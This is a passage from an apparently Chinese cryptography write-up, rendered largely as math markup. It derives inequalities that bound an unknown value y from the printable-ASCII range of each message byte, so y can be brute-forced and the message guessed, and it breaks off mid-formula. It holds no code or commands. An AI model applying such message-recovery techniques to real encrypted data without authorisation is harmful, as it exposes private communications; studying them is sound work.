class="mspace newline"></span><span class="base"><span class="strut" style="height:0.801892em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.996332em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.10556em;vertical-align:0em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord text"><span class="mord cjk_fallback">其中，</span><span class="mord">msg1</span><span class="mord cjk_fallback">的每一个字节均为</span><span class="mord">ascii</span></span></span></span></span></span></p><p>也就是说，<strong>每一次获得的msg都是一个区间值，因此就形成了一个不等式方程组</strong>。通过多次计算，y将会被逐渐限制在一个区间内，最后得到一个具体的值。这样我们就能够爆破得到<code>y</code>，从而猜测到msg的基本信息。带入不等式可以有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>=</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>+</mo><mi>y</mi><mo>⇒</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>=</mo><mi>P</mi><mo>−</mo><mi>y</mi><mspace linebreak="newline"></mspace><mo>∵</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>414141</mn><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable><mo>≤</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>≤</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable><mspace linebreak="newline"></mspace><mo>∴</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>414141</mn><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable><mo>≤</mo><mi>P</mi><mo>−</mo><mi>y</mi><mo>≤</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable><mspace linebreak="newline"></mspace><mo>∴</mo><mi>P</mi><mo>−</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mn>7</mn><mi>a</mi><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable><mo>≤</mo><mi>y</mi><mo>≤</mo><mi>P</mi><mo>−</mo><mtable rowspacing="0.15999999999999992em" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><munder><mrow><mn>0</mn><mi>x</mi><mn>414141</mn><mo>+</mo><mo>⋯</mo></mrow><mo stretchy="true">⏟</mo></munder></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>384</mn></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">P=msg1+y \Rightarrow msg1=P-y \\\because\begin{matrix} \underbrace{ 0x414141+\cdots } \\ 384 \end{matrix} \leq msg1 \leq \begin{matrix} \underbrace{ 0x7a7a7a+\cdots } \\ 384 \end{matrix} \\\therefore \begin{matrix} \underbrace{ 0x414141+\cdots } \\ 384 \end{matrix} \leq P-y \leq \begin{matrix} \underbrace{ 0x7a7a7a+\cdots } \\ 384 \end{matrix} \\\therefore P - \begin{matrix} \underbrace{ 0x7a7a7a+\cdots } \\ 384 \end{matrix} \leq y \leq P - \begin{matrix} \underbrace{ 0x414141+\cdots } \\ 384 \end{matrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.69224em;vertical-align:0em;"></span><span class="mrel amsrm">∵</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.69224em;vertical-align:0em;"></span><span class="mrel amsrm">∴</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8304100000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.69224em;vertical-align:0em;"></span><span class="mrel amsrm">∴</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mord">7</span><span class="mord mathdefault">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8304100000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.7713300000000007em;vertical-align:-1.1356650000000006em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6356650000000001em;"><span style="top:-3.7956649999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord munder"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.64444em;"><span class="svg-align" style="top:-2.26867em;"><span class="pstrut" style="height:3em;"></span><span class="stretchy" style="height:0.548em;min-width:1.6em;"><span class="brace-left" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMinYMin slice"><path d="M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z"/></svg></span><span class="brace-center" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMidYMin slice"><path d="M199572 214c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z"/></svg></span><span class="brace-right" style="height:0.548em;"><svg width="400em" height="0.548em" viewbox="0 0 400000 548" preserveaspectratio="xMaxYMin slice"><path d="M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z"/></svg></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span><span class="mord mathdefault">x</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mord">4</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="minner">⋯</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.73133em;"><span></span></span></span></span></span></span></span><span style="top:-2.2243349999999995em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord">8</span><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1356650000000006em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>不过说起来，仔细考虑的话会发现，由于这里考虑的粒度比较粗，所以有一些情况会无法涵盖（例如msg的取值不可能为<code>0x412041.....</code>）所以此时得到的范围会相对来说比较宽泛，我们需要缩小取值范围</p><h4 id="缩小取值范围">缩小取值范围</h4><p>我们首先要注意msg1并不是真正意义上的从<code>[0x41414141....~0x7a7a7a7a7a...]</code>，之前的例子理也出现过了，例如<code>0x41204141.....</code>这种数字是不会出现的，所以我们<strong>与其整体考虑，不如拆分成每一个数字来考虑</strong>。也就是<strong>我们将考虑每一个数字可能的取值范围</strong>。</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>这里假设</mtext><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>=</mo><msub><mi>m</mi><mn>0</mn></msub><msub><mi>m</mi><mn>1</mn></msub><msub><mi>m</mi><mn>2</mn></msub><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>m</mi><mn>384</mn></msub><mo separator="true">,</mo><mi>y</mi><mo>=</mo><msub><mi>y</mi><mn>0</mn></msub><msub><mi>y</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>y</mi><mn>384</mn></msub><mi>P</mi><mo>=</mo><msub><mi>P</mi><mn>0</mn></msub><msub><mi>P</mi><mn>1</mn></msub><mi 